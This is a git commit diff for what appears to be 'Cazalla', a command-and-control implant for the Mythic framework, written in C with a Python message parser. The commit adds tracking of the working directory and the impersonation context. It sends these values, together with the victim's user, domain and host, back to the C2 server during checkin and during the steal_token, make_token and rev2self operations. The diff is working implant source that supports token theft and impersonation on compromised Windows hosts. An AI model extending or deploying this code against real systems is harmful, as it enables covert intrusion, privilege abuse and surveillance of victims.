Context tracking implemented

This commit is contained in:
marcos.luna
2025-11-04 10:56:20 +01:00
parent c7b6bbc935
commit 47978f4259
9 changed files with 400 additions and 12 deletions
@@ -1,6 +1,7 @@
#include "SistemadeFicheros.h"
#include "paquete.h"
#include "transporte.h"
#include "cazalla.h" // For context tracking functions
/* Forward decl to avoid implicit declaration on some toolchains */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
@@ -58,6 +59,11 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
char dir[2048];
int length = GetCurrentDirectoryA(sizeof(dir), dir);
// Update global context tracking
if (length > 0) {
setCurrentDirectoryContext(dir);
}
PPaquete salida = nuevoPaquete(0, FALSE);
// success
@@ -67,6 +73,12 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
addString(salida, dir, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
// Add callback context with updated cwd
if (length > 0) {
addCallbackContext(respuestaTarea, "cwd", dir);
}
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
@@ -5,6 +5,49 @@
CONFIG_CAZALLA* cazallaConfig = NULL;
/* Context tracking: Current working directory and impersonation context */
static char gCurrentDirectory[MAX_PATH] = "";
static char gImpersonationContext[256] = "";
/* Get current working directory for context tracking */
PCHAR getCurrentDirectoryContext(void) {
if (gCurrentDirectory[0] == '\0') {
// Initialize with actual current directory if not set
if (GetCurrentDirectoryA(sizeof(gCurrentDirectory), gCurrentDirectory) == 0) {
gCurrentDirectory[0] = '\0';
}
}
return gCurrentDirectory;
}
/* Set current working directory for context tracking */
VOID setCurrentDirectoryContext(PCHAR cwd) {
if (cwd && strlen(cwd) < sizeof(gCurrentDirectory)) {
strncpy(gCurrentDirectory, cwd, sizeof(gCurrentDirectory) - 1);
gCurrentDirectory[sizeof(gCurrentDirectory) - 1] = '\0';
}
}
/* Get impersonation context for context tracking */
PCHAR getImpersonationContext(void) {
return gImpersonationContext;
}
/* Set impersonation context for context tracking */
VOID setImpersonationContext(PCHAR context) {
if (context) {
strncpy(gImpersonationContext, context, sizeof(gImpersonationContext) - 1);
gImpersonationContext[sizeof(gImpersonationContext) - 1] = '\0';
} else {
gImpersonationContext[0] = '\0';
}
}
/* Clear impersonation context (e.g., after rev2self) */
VOID clearImpersonationContext(void) {
gImpersonationContext[0] = '\0';
}
VOID cazallaMain() {
_inf("Inicializando configuración de Cazalla");
@@ -29,6 +29,13 @@ typedef struct {
extern PCONFIG_CAZALLA cazallaConfig;
/* Context tracking functions */
PCHAR getCurrentDirectoryContext(void);
VOID setCurrentDirectoryContext(PCHAR cwd);
PCHAR getImpersonationContext(void);
VOID setImpersonationContext(PCHAR context);
VOID clearImpersonationContext(void);
VOID setUUID(PCHAR newUUID);
VOID cazallaMain(void);
@@ -1,6 +1,8 @@
#include "checkin.h"
#include "cazalla.h"
#include "socks_manager.h"
#include "paquete.h" // For addCallbackContext
#include "identity.h" // For IdentityGetUserInfo
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
@@ -146,6 +148,68 @@ PAnalizador checkin() {
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
// Add callback context with initial cwd and impersonation_context
// Get current directory and add to callback context
char initial_cwd[MAX_PATH] = {0};
if (GetCurrentDirectoryA(sizeof(initial_cwd), initial_cwd) > 0) {
setCurrentDirectoryContext(initial_cwd); // Initialize global context
addCallbackContext(checkin, "cwd", initial_cwd);
_inf("Checkin: Añadido cwd inicial: %s", initial_cwd);
} else {
_wrn("Checkin: No se pudo obtener el directorio actual");
}
// Get current user context (process token) for impersonation_context
// This will show the user even if there's no impersonation active
HANDLE hProcessToken = NULL;
char initial_user[512] = {0};
BOOL user_context_added = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
if (IdentityGetUserInfo(hProcessToken, initial_user, sizeof(initial_user))) {
setImpersonationContext(initial_user); // Initialize global context
addCallbackContext(checkin, "impersonation_context", initial_user);
_inf("Checkin: Añadido impersonation_context inicial (process token): %s", initial_user);
user_context_added = TRUE;
} else {
_wrn("Checkin: IdentityGetUserInfo falló");
}
CloseHandle(hProcessToken);
} else {
DWORD error = GetLastError();
_wrn("Checkin: OpenProcessToken falló, error=%lu, usando fallback", error);
}
if (!user_context_added) {
// If we can't get process token, use the username from obtenerUsuarios()
// Format: domain\username (we'll use hostname as domain if needed)
char* username = obtenerUsuarios();
char* domain = obtenerDominio();
if (username && strlen(username) > 0) {
if (domain && wcslen(domain) > 0) {
// Convert domain from wide char to char
char domain_narrow[256] = {0};
WideCharToMultiByte(CP_ACP, 0, domain, -1, domain_narrow, sizeof(domain_narrow), NULL, NULL);
snprintf(initial_user, sizeof(initial_user), "%s\\%s", domain_narrow, username);
} else {
// Use hostname as domain if domain is empty
char* hostname = obtenerHostame();
if (hostname && strlen(hostname) > 0) {
snprintf(initial_user, sizeof(initial_user), "%s\\%s", hostname, username);
} else {
strncpy(initial_user, username, sizeof(initial_user) - 1);
}
}
setImpersonationContext(initial_user);
addCallbackContext(checkin, "impersonation_context", initial_user);
_inf("Checkin: Añadido impersonation_context inicial (fallback): %s", initial_user);
} else {
_wrn("Checkin: No se pudo obtener username para impersonation_context");
}
}
_inf("Checkin: Tamaño del paquete antes de enviar: %zu bytes", checkin->length);
// === When mythic_encrypts=True, agent sends plaintext ===
// The C2 profile (HTTP) handles encryption at HTTP layer
// No need for ECC key exchange in checkin
@@ -903,4 +903,31 @@ VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_i
// Token ID
addInt32(paquete, token_id);
}
// Helper function to add callback context (cwd, impersonation_context, etc.)
// Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
// Can be called multiple times to add multiple fields
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value) {
if (!paquete || !field_name) {
return;
}
// Callback context marker (0xF0) - Note: 0xF1 is CHECKIN action, so we use 0xF0
// This marker indicates callback context data
addByte(paquete, 0xF0);
// Field name length and value (e.g., "cwd", "impersonation_context")
SIZE_T name_len = strlen(field_name);
addInt32(paquete, (UINT32)name_len);
addString(paquete, field_name, FALSE);
// Field value (optional - use empty string if NULL)
if (field_value) {
SIZE_T value_len = strlen(field_value);
addInt32(paquete, (UINT32)value_len);
addString(paquete, field_value, FALSE);
} else {
addInt32(paquete, 0);
}
}
@@ -72,4 +72,10 @@ VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description,
/* action must be "add" or "remove" */
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
/* Callback context helper: for updating callback context (cwd, impersonation_context, etc.) */
/* Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... */
/* Can be called multiple times to add multiple fields */
/* Common fields: "cwd", "impersonation_context", "pid", "sleep_info", "extra_info" */
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value);
#endif
@@ -5,6 +5,7 @@
#include "analizador.h"
#include "identity.h"
#include "debug.h"
#include "cazalla.h" // For context tracking functions
#include <tlhelp32.h>
#include <psapi.h>
@@ -480,6 +481,10 @@ VOID RobarToken(PAnalizador argumentos) {
DWORD hostname_len = sizeof(hostname);
GetComputerNameA(hostname, &hostname_len);
// Update global impersonation context
setImpersonationContext(account_name);
_inf("[steal_token] Contexto de impersonación actualizado: %s", account_name);
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaFinal, tareaUuid, FALSE);
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
@@ -491,6 +496,9 @@ VOID RobarToken(PAnalizador argumentos) {
snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name);
addArtifact(respuestaFinal, "Token Impersonation", artifact_msg);
// Add callback context with impersonation_context
addCallbackContext(respuestaFinal, "impersonation_context", account_name);
// Add callback token registration
addCallbackToken(respuestaFinal, "add", hostname, token_id);
@@ -767,6 +775,10 @@ VOID CrearToken(PAnalizador argumentos) {
snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe);
}
// Update global impersonation context
setImpersonationContext(account_name);
_inf("[make_token] Contexto de impersonación actualizado: %s", account_name);
// Generate token_id (simple hash of user+domain)
// Use existing domain_len and user_len variables (they were set by getString)
// If needed, recalculate lengths using strlen for actual string length (not buffer length)
@@ -791,6 +803,9 @@ VOID CrearToken(PAnalizador argumentos) {
snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type);
addArtifact(respuestaFinal, "Token Creation", artifact_msg);
// Add callback context with impersonation_context
addCallbackContext(respuestaFinal, "impersonation_context", account_name);
// Register token with callback
addCallbackToken(respuestaFinal, "add", hostname, token_id);
@@ -816,11 +831,19 @@ VOID RevertirToken(PAnalizador argumentos) {
CloseHandle(gImpersonationToken);
gImpersonationToken = NULL;
// Clear global impersonation context
clearImpersonationContext();
_inf("[rev2self] Contexto de impersonación limpiado");
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Add callback context with empty impersonation_context to clear it
addCallbackContext(respuesta, "impersonation_context", "");
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
@@ -53,16 +53,55 @@ def checkIn(data):
# Retrieve External IP
externalIP, data = getBytesWithSize(data)
# Nota: ECC Public Key ya no se usa (cifrado AESPSK se inyecta en build time)
# Leemos y descartamos la longitud (4 bytes) que siempre será 0
try:
key_len = int.from_bytes(data[:4], "big")
data = data[4:]
if key_len > 0:
# Descarta los datos de la clave si existen (código legacy)
data = data[key_len:]
except:
pass
# Parse callback context from remaining data if present
# Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]...
print(f"[CHECKIN] Datos restantes después de parsear campos estándar: {len(data)} bytes")
if len(data) > 0:
print(f"[CHECKIN] Primeros bytes de datos restantes: {data[:min(20, len(data))].hex()}")
callback_context = {}
while len(data) >= 5: # At least: marker (1) + name_len (4)
if data[0] == 0xF0:
# Callback context marker found
offset = 1
# Extract field name
if len(data) < offset + 4:
break
name_len = int.from_bytes(data[offset:offset+4], 'big')
offset += 4
if name_len == 0 or len(data) < offset + name_len:
break
try:
field_name = data[offset:offset+name_len].decode('cp850', errors='ignore')
offset += name_len
except:
break
# Extract field value
if len(data) < offset + 4:
break
value_len = int.from_bytes(data[offset:offset+4], 'big')
offset += 4
field_value = ""
if value_len > 0:
if len(data) < offset + value_len:
break
try:
field_value = data[offset:offset+value_len].decode('cp850', errors='ignore')
offset += value_len
except:
field_value = ""
callback_context[field_name] = field_value
print(f"[CHECKIN] Callback context: {field_name} = '{field_value}'")
data = data[offset:]
else:
# No more callback context markers
break
dataJson = {
"action": "checkin",
@@ -77,7 +116,21 @@ def checkIn(data):
"architecture": archOS,
"externalIP": externalIP.decode('cp850'),
}
# Add callback context if present
# For checkin, callback context is added directly to the root message (not in a "callback" key)
# This matches Mythic's documentation: callback fields can be at root level for checkin
if callback_context:
for key, value in callback_context.items():
dataJson[key] = value
print(f"[CHECKIN] Añadido campo '{key}' = '{value}' al JSON de checkin")
print(f"[CHECKIN] Total callback context añadido: {len(callback_context)} campos: {list(callback_context.keys())}")
else:
print(f"[CHECKIN] No se encontró callback context en el mensaje de checkin")
# Debug: Print final JSON structure
print(f"[CHECKIN] JSON final tiene {len(dataJson)} campos: {list(dataJson.keys())}")
return dataJson
@@ -401,7 +454,7 @@ def postResponse(data):
# Verify that remaining_data starts with a marker if we expect markers
# This helps detect protocol issues
if len(remaining_data) > 0:
KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3}
KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3, 0xF2, 0xF0}
if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0:
# This might be part of the output that wasn't properly extracted
# This could happen if output_len was incorrectly interpreted
@@ -430,6 +483,7 @@ def postResponse(data):
tokens_data = []
callback_tokens_data = []
keylogs_data = []
callback_context_data = {} # Dictionary to store callback context fields (cwd, impersonation_context, etc.)
print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes")
if len(remaining_data) > 0:
@@ -978,6 +1032,47 @@ def postResponse(data):
"token_id": token_id
})
print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}")
remaining_data = remaining_data[offset:]
elif remaining_data[0] == 0xF0:
# Callback context marker found
# Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
offset = 1
# Extract field name
if len(remaining_data) < offset + 4:
break
name_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if name_len == 0 or len(remaining_data) < offset + name_len:
break
try:
field_name = remaining_data[offset:offset+name_len].decode('cp850', errors='ignore')
offset += name_len
except:
break
# Extract field value
if len(remaining_data) < offset + 4:
break
value_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
field_value = ""
if value_len > 0:
if len(remaining_data) < offset + value_len:
break
try:
field_value = remaining_data[offset:offset+value_len].decode('cp850', errors='ignore')
offset += value_len
except:
field_value = ""
# Store callback context field
callback_context_data[field_name] = field_value
print(f"[CALLBACK_CONTEXT] {field_name} = '{field_value}'")
remaining_data = remaining_data[offset:]
else:
# No more markers
@@ -1027,6 +1122,11 @@ def postResponse(data):
"completed": True,
}
# Add callback context if present
if callback_context_data:
jsonTask["callback"] = callback_context_data
print(f"[CALLBACK_CONTEXT] Añadido callback context con {len(callback_context_data)} campos: {list(callback_context_data.keys())}")
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
# (los chunks de download no necesitan user_output)
# Always include user_output if there's output text (needed for tokens command to show in GUI)